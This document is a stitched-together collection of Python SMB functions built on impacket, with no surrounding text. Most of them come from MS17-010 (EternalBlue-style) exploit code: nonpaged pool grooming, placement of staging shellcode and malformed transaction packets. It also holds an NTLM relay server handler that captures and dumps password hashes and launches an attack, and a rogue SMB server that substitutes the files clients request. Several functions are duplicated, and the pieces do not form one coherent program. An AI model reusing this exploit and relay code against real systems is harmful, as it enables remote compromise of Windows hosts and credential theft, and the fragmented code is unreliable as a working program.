def sendEcho(conn, tid, data): pkt = smb.NewSMBPacket() pkt['Tid'] = tid transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transCommand['Parameters'] = smb.SMBEcho_Parameters() transCommand['Data'] = smb.SMBEcho_Data() transCommand['Parameters']['EchoCount'] = 1 transCommand['Data']['Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('got good ECHO response') else: print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
def createSessionAllocNonPaged(target, size): # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function # You can see the allocation logic (even code is not the same) in WinNT4 source code # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071 conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters'][ 'MaxBufferSize'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['SecurityBlobLength'] = 0 sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # I believe this is another SMB1 bug. # Empty SecurityBlob with CAP_EXTENDED_SECURITY but no FLAGS2_EXTENDED_SECURITY makes target confused the request type. # This request should be https://msdn.microsoft.com/en-us/library/cc246328.aspx. After some checking, a target use # this request as https://msdn.microsoft.com/en-us/library/ee441849.aspx. So a target reads ByteCount from wrong offset. sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return conn
def createFile(self, treeId, pathName, desiredAccess=GENERIC_ALL, shareMode=FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, creationOption=FILE_NON_DIRECTORY_FILE, creationDisposition=FILE_OVERWRITE_IF, fileAttributes=FILE_ATTRIBUTE_NORMAL, impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): """ creates a remote file :param HANDLE treeId: a valid handle for the share where the file is to be created :param string pathName: the path name of the file to create :return: a valid file descriptor, if not raises a SessionError exception. """ if self.getDialect() == smb.SMB_DIALECT: _, flags2 = self._SMBConnection.get_flags() pathName = pathName.replace('/', '\\') pathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) ntCreate['Parameters']['FileNameLength']= len(pathName) ntCreate['Parameters']['AccessMask'] = desiredAccess ntCreate['Parameters']['FileAttributes']= fileAttributes ntCreate['Parameters']['ShareAccess'] = shareMode ntCreate['Parameters']['Disposition'] = creationDisposition ntCreate['Parameters']['CreateOptions'] = creationOption ntCreate['Parameters']['Impersonation'] = impersonationLevel ntCreate['Parameters']['SecurityFlags'] = securityFlags ntCreate['Parameters']['CreateFlags'] = 0x16 ntCreate['Data']['FileName'] = pathName if flags2 & smb.SMB.FLAGS2_UNICODE: ntCreate['Data']['Pad'] = 0x0 if createContexts is not None: LOG.error("CreateContexts not supported in SMB1") try: return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) except (smb.SessionError, smb3.SessionError), e: raise SessionError(e.get_error_code(), e.get_error_packet())
def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0, flags2=0, data=None): # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects # (including SMB1) is supported on the other end. if not myName: myName = socket.gethostname() i = myName.find('.') if i > -1: myName = myName[:i] tries = 0 smbp = smb.NewSMBPacket() smbp['Flags1'] = flags1 # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE resp = None while tries < 2: self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, timeout) negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) if extended_security is True: smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY negSession['Data'] = data smbp.addCommand(negSession) self._nmbSession.send_packet(smbp.getData()) try: resp = self._nmbSession.recv_packet(timeout) break except nmb.NetBIOSError: # OSX Yosemite asks for more Flags. Let's give it a try and see what happens smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE smbp['Data'] = [] tries += 1 if resp is None: # No luck, quitting raise Exception('No answer!') return resp.get_trailer()
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY) transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters() transCmd['Parameters']['TotalParameterCount'] = len(param) transCmd['Parameters']['TotalDataCount'] = len(data) transCmd['Parameters']['ParameterCount'] = len(param) transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement transCmd['Parameters']['DataCount'] = len(data) transCmd['Parameters']['DataDisplacement'] = dataDisplacement _put_trans_data(transCmd, param, data, noPad) return self.create_smb_packet(transCmd, mid, pid, tid)
def createSessionAllocNonPaged(target, size): # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function # You can see the allocation logic (even code is not the same) in WinNT4 source code # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071 conn = smb.SMB(target, target) _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: flags2 &= ~smb.SMB.FLAGS2_UNICODE reqSize = size // 2 else: flags2 |= smb.SMB.FLAGS2_UNICODE reqSize = size conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters() sessionSetup['Parameters'][ 'MaxBuffer'] = 61440 # can be any value greater than response size sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['AnsiPwdLength'] = 0 sessionSetup['Parameters']['UnicodePwdLength'] = 0 sessionSetup['Parameters']['Capabilities'] = 0x80000000 # set ByteCount here sessionSetup['Data'] = pack('<H', size) + '\x00' * 20 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return conn
def send_echo_request(connection, tid, data): packet = smb.NewSMBPacket() packet['Tid'] = tid transfer_command = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) transfer_command['Parameters'] = smb.SMBEcho_Parameters() transfer_command['Data'] = smb.SMBEcho_Data() transfer_command['Parameters']['EchoCount'] = 1 transfer_command['Data']['Data'] = data packet.addCommand(transfer_command) connection.sendSMB(packet) retval_packet = connection.recvSMB() if retval_packet.getNTStatus() == 0: print("echo request succeeded") else: print("bad echo request: 0x{:x}".format( retval_packet.getNTStatus()))
def login_put_staging_sc(conn, staging_sc, maxBufferSize): _, flags2 = conn.get_flags() # FLAGS2_EXTENDED_SECURITY MUST not be set flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 flags2 |= smb.SMB.FLAGS2_UNICODE conn.set_flags(flags2=flags2) pkt = smb.NewSMBPacket() sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters'][ 'SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session # UnicodePasswordLen field is in Reserved for extended security format. sessionSetup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes) # UNICODE.maxBufferSize: 0x15ff # after maxBufferSize is padding which is '\x00'*4 # so code is 'ff 15 00 00 00 00' => call [rip+0] # after padding is pointer to allocated npp and shellcode there sessionSetup['Data'] = pack('<H', 0x1604) + '\x00' * 5 + staging_sc + '\x00' * 8 pkt.addCommand(sessionSetup) conn.sendSMB(pkt) recvPkt = conn.recvSMB() if recvPkt.isValidAnswer(smb.SMB.SMB_COM_SESSION_SETUP_ANDX): print('SMB1 session setup allocate nonpaged pool success') conn.set_uid(recvPkt['Uid']) else: print('SMB1 session setup allocate nonpaged pool failed') sys.exit()
def recv(self, forceRecv=0, count=0): if self._max_send_frag or self.__pending_recv: # _max_send_frag is checked because it's the same condition we checked # to decide whether to use write_andx() or send_trans() in send() above. if self.__pending_recv: self.__pending_recv -= 1 return self.__smb_server.read_andx(self.__tid, self.__handle, max_size=self._max_recv_frag) elif forceRecv: return self.__smb_server.read_andx(self.__tid, self.__handle, max_size=self._max_recv_frag) else: s = self.__smb_server.recvSMB() if s.isValidAnswer(smb.SMB.SMB_COM_TRANSACTION): transResponse = smb.SMBCommand(s['Data'][0]) transParameters = smb.SMBTransactionResponse_Parameters( transResponse['Parameters']) return transResponse['Data'][-transParameters[ 'TotalDataCount']:] # Remove Potential Prefix Padding return None
def list_path(conn, tid, path, password=None): findFirstParameter = smb.SMBFindFirst2_Parameters() findFirstParameter['SearchAttributes'] = smb.SMB_FILE_ATTRIBUTE_DIRECTORY | smb.SMB_FILE_ATTRIBUTE_HIDDEN | \ smb.SMB_FILE_ATTRIBUTE_SYSTEM | smb.SMB_FILE_ATTRIBUTE_READONLY | \ smb.SMB_FILE_ATTRIBUTE_ARCHIVE findFirstParameter['SearchCount'] = 512 findFirstParameter[ 'Flags'] = smb.SMB_FIND_RETURN_RESUME_KEYS | smb.SMB_FIND_CLOSE_AT_EOS findFirstParameter['InformationLevel'] = 0x0003 findFirstParameter['SearchStorageType'] = 0 findFirstParameter['FileName'] = path + '\x00' geaList = pack('<L', 0x10007) # this size is wrong geaList += (pack('<B', 0) + '\x00') * 0x100 send_trans2(conn, tid, smb.SMB.TRANS2_FIND_FIRST2, '\x00', findFirstParameter, geaList) files = [] totalDataCount = 1 findData = '' findFirst2ParameterBlock = '' while len(findData) < totalDataCount: resp = conn.recvSMB() if resp.isValidAnswer(smb.SMB.SMB_COM_TRANSACTION2): trans2Response = smb.SMBCommand(resp['Data'][0]) trans2Parameters = smb.SMBTransaction2Response_Parameters( trans2Response['Parameters']) totalDataCount = trans2Parameters['TotalDataCount'] findFirst2ParameterBlock += trans2Response[ 'Data'][trans2Parameters['ParameterOffset'] - 55:][:trans2Parameters['ParameterCount']] findData += trans2Response['Data'][trans2Parameters['DataOffset'] - 55:] findParameterBlock = smb.SMBFindFirst2Response_Parameters( findFirst2ParameterBlock) sid = findParameterBlock['SID'] print sid return files
def create_alloc_session(target, size): connection = smb.SMB(target, target) _, flags = connection.get_flags() flags &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY if size >= 0xffff: flags &= ~smb.SMB.FLAGS2_UNICODE request_size = size // 2 else: flags |= smb.SMB.FLAGS2_UNICODE request_size = size connection.set_flags(flags2=flags) packet = smb.NewSMBPacket() session_setup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) session_setup[ 'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() session_setup['Parameters']['MaxBufferSize'] = 61440 session_setup['Parameters']['MaxMpxCount'] = 2 session_setup['Parameters']['VcNumber'] = 2 session_setup['Parameters']['SessionKey'] = 0 session_setup['Parameters']['SecurityBlobLength'] = 0 session_setup['Parameters'][ 'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY session_setup['Data'] = struct.pack('<H', request_size) + '\x00' * 20 packet.addCommand(session_setup) connection.sendSMB(packet) retval_packet = connection.recvSMB() if retval_packet.getNTStatus() == 0: print('SMB1 session setup allocate nonpaged pool success') else: print('SMB1 session setup allocate nonpaged pool failed') return connection
def send_transfer_second(connection, tid, data, displacement): pkt = smb.NewSMBPacket() pkt['Tid'] = tid # assume no params transfer_command = smb.SMBCommand( smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) transfer_command[ 'Parameters'] = lib.settings.SMBTransaction2SecondaryParametersFixed( ) transfer_command['Data'] = smb.SMBTransaction2Secondary_Data() transfer_command['Parameters']['TotalParameterCount'] = 0 transfer_command['Parameters']['TotalDataCount'] = len(data) fixed_offset = 32 + 3 + 18 transfer_command['Data']['Pad1'] = '' transfer_command['Parameters']['ParameterCount'] = 0 transfer_command['Parameters']['ParameterOffset'] = 0 if len(data) > 0: pad_to_len = (4 - fixed_offset % 4) % 4 transfer_command['Data']['Pad2'] = '\xFF' * pad_to_len else: transfer_command['Data']['Pad2'] = '' pad_to_len = 0 transfer_command['Parameters']['DataCount'] = len(data) transfer_command['Parameters'][ 'DataOffset'] = fixed_offset + pad_to_len transfer_command['Parameters']['DataDisplacement'] = displacement transfer_command['Data']['Trans_Parameters'] = '' transfer_command['Data']['Trans_Data'] = data pkt.addCommand(transfer_command) connection.sendSMB(pkt)
def run(self): self.connectPipe() while True: try: ans = self.server.read_andx(self.tid, self.fid, max_size=1024, wait_answer=0) except Exception, e: pass else: if ans['Command'] == smb.SMB.SMB_COM_READ_ANDX: try: readAndXResponse = smb.SMBCommand(ans['Data'][0]) readAndXParameters = smb.SMBReadAndXResponse_Parameters( readAndXResponse['Parameters']) offset = readAndXParameters['DataOffset'] count = readAndXParameters[ 'DataCount'] + 0x10000 * readAndXParameters[ 'DataCount_Hi'] if count > 0: data = str(ans)[offset:offset + count] global LastDataSent if data != LastDataSent: sys.stdout.write( str(ans)[offset:offset + count]) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' ans['Command'] = 0 except: pass
def _negotiateSession(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True): # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects # (including SMB1) is supported on the other end. if not myName: myName = socket.gethostname() i = string.find(myName, '.') if i > -1: myName = myName[:i] # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old applications still believing # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about *SMBSERVER's limitations if sess_port == 445 and remoteName == '*SMBSERVER': remoteName = remoteHost self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, timeout) smbp = smb.NewSMBPacket() negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) if extended_security == True: smbp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY negSession[ 'Data'] = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' smbp.addCommand(negSession) self._nmbSession.send_packet(str(smbp)) r = self._nmbSession.recv_packet(timeout) return r.get_trailer()
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): if maxSetupCount is None: maxSetupCount = len(setup) if totalParameterCount is None: totalParameterCount = len(param) if totalDataCount is None: totalDataCount = len(data) if maxParameterCount is None: maxParameterCount = totalParameterCount if maxDataCount is None: maxDataCount = totalDataCount transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2) transCmd['Parameters'] = smb.SMBTransaction2_Parameters() transCmd['Parameters']['TotalParameterCount'] = totalParameterCount transCmd['Parameters']['TotalDataCount'] = totalDataCount transCmd['Parameters']['MaxParameterCount'] = maxParameterCount transCmd['Parameters']['MaxDataCount'] = maxDataCount transCmd['Parameters']['MaxSetupCount'] = len(setup) transCmd['Parameters']['Flags'] = 0 transCmd['Parameters']['Timeout'] = 0xffffffff transCmd['Parameters']['ParameterCount'] = len(param) transCmd['Parameters']['DataCount'] = len(data) transCmd['Parameters']['Setup'] = setup _put_trans_data(transCmd, param, data, noPad) return self.create_smb_packet(transCmd, mid, pid, tid)
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): if maxSetupCount is None: maxSetupCount = len(setup) if totalParameterCount is None: totalParameterCount = len(param) if totalDataCount is None: totalDataCount = len(data) if maxParameterCount is None: maxParameterCount = totalParameterCount if maxDataCount is None: maxDataCount = totalDataCount transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) transCmd['Parameters'] = smb.SMBNTTransaction_Parameters() transCmd['Parameters']['MaxSetupCount'] = maxSetupCount transCmd['Parameters']['TotalParameterCount'] = totalParameterCount transCmd['Parameters']['TotalDataCount'] = totalDataCount transCmd['Parameters']['MaxParameterCount'] = maxParameterCount transCmd['Parameters']['MaxDataCount'] = maxDataCount transCmd['Parameters']['ParameterCount'] = len(param) transCmd['Parameters']['DataCount'] = len(data) transCmd['Parameters']['Function'] = function transCmd['Parameters']['Setup'] = setup _put_trans_data(transCmd, param, data, noPad) return self.create_smb_packet(transCmd, mid, pid, tid)
def send_trans2_second(self, conn, tid, data, displacement): pkt = smb.NewSMBPacket() pkt['Tid'] = tid transCommand = smb.SMBCommand( smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) transCommand[ 'Parameters'] = self.SMBTransaction2Secondary_Parameters_Fixed( ) transCommand['Data'] = smb.SMBTransaction2Secondary_Data() transCommand['Parameters']['TotalParameterCount'] = 0 transCommand['Parameters']['TotalDataCount'] = len(data) fixedOffset = 32 + 3 + 18 transCommand['Data']['Pad1'] = b'' transCommand['Parameters']['ParameterCount'] = 0 transCommand['Parameters']['ParameterOffset'] = 0 if len(data) > 0: pad2Len = (4 - fixedOffset % 4) % 4 transCommand['Data']['Pad2'] = b'\xFF' * pad2Len else: transCommand['Data']['Pad2'] = b'' pad2Len = 0 transCommand['Parameters']['DataCount'] = len(data) transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len transCommand['Parameters']['DataDisplacement'] = displacement transCommand['Data']['Trans_Parameters'] = b'' transCommand['Data']['Trans_Data'] = data pkt.addCommand(transCommand) conn.sendSMB(pkt)
def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) resp = smb.NewSMBPacket() resp['Flags1'] = smb.SMB.FLAGS1_REPLY resp[ 'Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket[ 'Flags2'] & smb.SMB.FLAGS2_UNICODE resp['Tid'] = recvPacket['Tid'] resp['Mid'] = recvPacket['Mid'] resp['Pid'] = connData['Pid'] respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) respParameters = smb.SMBTreeConnectAndXResponse_Parameters() respData = smb.SMBTreeConnectAndXResponse_Data() treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters( SMBCommand['Parameters']) if treeConnectAndXParameters['Flags'] & 0x8: respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters( ) treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags=recvPacket['Flags2']) treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[ 'PasswordLength'] treeConnectAndXData.fromString(SMBCommand['Data']) errorCode = STATUS_SUCCESS UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) # Is this a UNC? if ntpath.ismount(UNCOrShare): path = UNCOrShare.split('\\')[3] else: path = ntpath.basename(UNCOrShare) # We won't search for the share.. all of them exist :P smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) #share = searchShare(connId, path, smbServer) share = {} # Simple way to generate a Tid if len(connData['ConnectedShares']) == 0: tid = 1 else: tid = connData['ConnectedShares'].keys()[-1] + 1 connData['ConnectedShares'][tid] = share connData['ConnectedShares'][tid]['path'] = '/' connData['ConnectedShares'][tid]['shareName'] = path resp['Tid'] = tid #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS if path == 'IPC$': respData['Service'] = 'IPC' else: respData['Service'] = path respData['PadLen'] = 0 respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS') respSMBCommand['Parameters'] = respParameters respSMBCommand['Data'] = respData resp['Uid'] = connData['Uid'] resp.addCommand(respSMBCommand) smbServer.setConnectionData(connId, connData) return None, [resp], errorCode
def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId) ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters( SMBCommand['Parameters']) ntCreateAndXData = smb.SMBNtCreateAndX_Data(flags=recvPacket['Flags2'], data=SMBCommand['Data']) respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) #ntCreateAndXParameters.dump() # Let's try to avoid allowing write requests from the client back to us # not 100% bulletproof, plus also the client might be using other SMB # calls (e.g. SMB_COM_WRITE) createOptions = ntCreateAndXParameters['CreateOptions'] if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters[ 'AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: errorCode = STATUS_ACCESS_DENIED elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: errorCode = STATUS_ACCESS_DENIED else: errorCode = STATUS_SUCCESS if errorCode == STATUS_ACCESS_DENIED: return [respSMBCommand], None, errorCode # 1. Let's grab the extension and map the file's contents we will deliver origPathName = os.path.normpath( decodeSMBString(recvPacket['Flags2'], ntCreateAndXData['FileName']).replace('\\', '/')) _, origPathNameExtension = os.path.splitext(origPathName) origPathNameExtension = origPathNameExtension.upper()[1:] if self.extensions.has_key(origPathNameExtension.upper()): targetFile = self.extensions[origPathNameExtension.upper()] else: targetFile = self.defaultFile # 2. We change the filename in the request for our targetFile ntCreateAndXData['FileName'] = encodeSMBString( flags=recvPacket['Flags2'], text=targetFile) SMBCommand['Data'] = str(ntCreateAndXData) smbServer.log( "%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName, targetFile), logging.INFO) # 3. We call the original call with our modified data return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket)
def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus=False) ############################################################# # SMBRelay smbData = smbServer.getConnectionData('SMBRelay', False) ############################################################# respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) if connData['_dialects_parameters'][ 'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY: # Extended security. Here we deal with all SPNEGO stuff respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters( ) respData = smb.SMBSessionSetupAndX_Extended_Response_Data() sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters( SMBCommand['Parameters']) sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data() sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[ 'SecurityBlobLength'] sessionSetupData.fromString(SMBCommand['Data']) connData['Capabilities'] = sessionSetupParameters['Capabilities'] if struct.unpack( 'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID: # If there no GSSAPI ID, it must be an AUTH packet blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob']) token = blob['ResponseToken'] else: # NEGOTIATE packet blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob']) token = blob['MechToken'] # Here we only handle NTLMSSP, depending on what stage of the # authentication we are, we act on it messageType = struct.unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 0x01: # NEGOTIATE_MESSAGE negotiateMessage = ntlm.NTLMAuthNegotiate() negotiateMessage.fromString(token) # Let's store it in the connection data connData['NEGOTIATE_MESSAGE'] = negotiateMessage ############################################################# # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. # Let's send it to the target server and send the answer back to the client. client = smbData[self.target]['SMBClient'] challengeMessage = self.do_ntlm_negotiate(client, token) ############################################################# respToken = SPNEGO_NegTokenResp() # accept-incomplete. We want more data respToken['NegResult'] = '\x01' respToken['SupportedMech'] = TypesMech[ 'NTLMSSP - Microsoft NTLM Security Support Provider'] respToken['ResponseToken'] = str(challengeMessage) # Setting the packet to STATUS_MORE_PROCESSING errorCode = STATUS_MORE_PROCESSING_REQUIRED # Let's set up an UID for this connection and store it # in the connection's data # Picking a fixed value # TODO: Manage more UIDs for the same session connData['Uid'] = 10 # Let's store it in the connection data connData['CHALLENGE_MESSAGE'] = challengeMessage elif messageType == 0x03: # AUTHENTICATE_MESSAGE, here we deal with authentication ############################################################# # SMBRelay: Ok, so now the have the Auth token, let's send it # back to the target system and hope for the best. client = smbData[self.target]['SMBClient'] authenticateMessage = ntlm.NTLMAuthChallengeResponse() authenticateMessage.fromString(token) if authenticateMessage['user_name'] != '': #For some attacks it is important to know the authenticated username, so we store it connData['AUTHUSER'] = authenticateMessage['user_name'] self.authUser = connData['AUTHUSER'] clientResponse, errorCode = self.do_ntlm_auth( client, sessionSetupData['SecurityBlob'], connData['CHALLENGE_MESSAGE']['challenge']) #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge']) else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials errorCode = STATUS_ACCESS_DENIED if errorCode != STATUS_SUCCESS: # Let's return what the target returned, hope the client connects back again packet = smb.NewSMBPacket() packet[ 'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS packet[ 'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY packet['Command'] = recvPacket['Command'] packet['Pid'] = recvPacket['Pid'] packet['Tid'] = recvPacket['Tid'] packet['Mid'] = recvPacket['Mid'] packet['Uid'] = recvPacket['Uid'] packet['Data'] = '\x00\x00\x00' packet['ErrorCode'] = errorCode >> 16 packet['ErrorClass'] = errorCode & 0xff # Reset the UID if self.target[0] == 'SMB': client.setUid(0) logging.error( "Authenticating against %s as %s\%s FAILED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) #del (smbData[self.target]) return None, [packet], errorCode else: # We have a session, create a thread and do whatever we want logging.info( "Authenticating against %s as %s\%s SUCCEED" % (self.target, authenticateMessage['domain_name'], authenticateMessage['user_name'])) #Log this target as processed for this client self.targetprocessor.log_target(connData['ClientIP'], self.target) ntlm_hash_data = outputToJohnFormat( connData['CHALLENGE_MESSAGE']['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm']) logging.info(ntlm_hash_data['hash_string']) if self.server.getJTRdumpPath() != '': writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.getJTRdumpPath()) del (smbData[self.target]) self.do_attack(client) # Now continue with the server ############################################################# respToken = SPNEGO_NegTokenResp() # accept-completed respToken['NegResult'] = '\x00' # Status SUCCESS errorCode = STATUS_SUCCESS # Let's store it in the connection data connData['AUTHENTICATE_MESSAGE'] = authenticateMessage else: raise Exception("Unknown NTLMSSP MessageType %d" % messageType) 